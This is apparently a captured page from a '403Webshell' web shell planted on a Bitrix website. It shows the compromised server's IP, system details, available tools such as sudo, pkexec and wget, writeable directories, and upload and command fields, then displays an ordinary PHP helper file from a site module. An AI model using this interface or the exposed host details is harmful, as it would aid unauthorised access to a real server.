403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/letme.watchman/lib/Common/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/letme.watchman/lib/Common/Helper.php
<?php

namespace Letme\Watchman\Common;

use Bitrix\Main\HttpRequest;
use Letme\Watchman\ErrorHandler\Handler;

class Helper
{
    public static function getModuleId() {
        return 'letme_watchman';
    }

    public static function getPage($pageName, array $params = []) {
        if ($query = http_build_query($params)) {
            $query = "?$query";
        }
        return '/bitrix/admin/' . self::getModuleId() . "_$pageName.php$query";
    }

    public static function getSiteUrlFromRequest(HttpRequest $request) {
        return ($request->isHttps() ? 'https' : 'http') . '://' . $request->getHttpHost();
    }

    public static function getExceptionHandlerStatus(): bool {
        $exceptionHandling = \Bitrix\Main\Config\Configuration::getValue("exception_handling");
        return isset($exceptionHandling['log']['class_name']) &&
            $exceptionHandling['log']['class_name'] === Handler::class;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit